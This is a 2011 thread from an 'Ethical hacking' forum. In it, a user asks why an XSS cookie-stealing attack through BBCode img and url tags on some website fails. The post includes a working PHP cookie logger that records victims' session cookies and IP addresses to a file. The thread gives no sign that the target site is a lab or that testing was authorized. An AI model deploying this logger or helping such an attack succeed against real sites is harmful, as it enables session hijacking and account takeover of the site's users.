Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Ethical hacking (http://www.go4expert.com/forums/ethical-hacking-forum/)
-   -   XSS - Stealing cookies ! (http://www.go4expert.com/forums/xss-stealing-cookies-t24494/)

rayjay 12Jan2011 09:04

XSS - Stealing cookies !
 
Does anybody know where my code doesn't work? It displays everything but the cookie. The site is kind of trick but it allows [img][/img] and .. which translates into html code as <img src=""></img> and <a href=""></a>.

My PHP:

1
HTML Code:

<?php
$cookie =$HTTP_GET_VARS["cookie"];
$date = date ("l ds of F Y h:i:s A");
$ip = $_SERVER['REMOTE_ADDR'];
$file = fopen('log.txt', 'a');
fwrite($file,"DATE : $date || IP: $ip || COOKIE : $cookie \n");
fclose($file);
?>

I've tried many different modifications on the site with the img and url tags with [ ]

I hope somebody can help.

Indianman, tenu punjabi aandi ah?


All times are GMT +5.5. The time now is 15:18.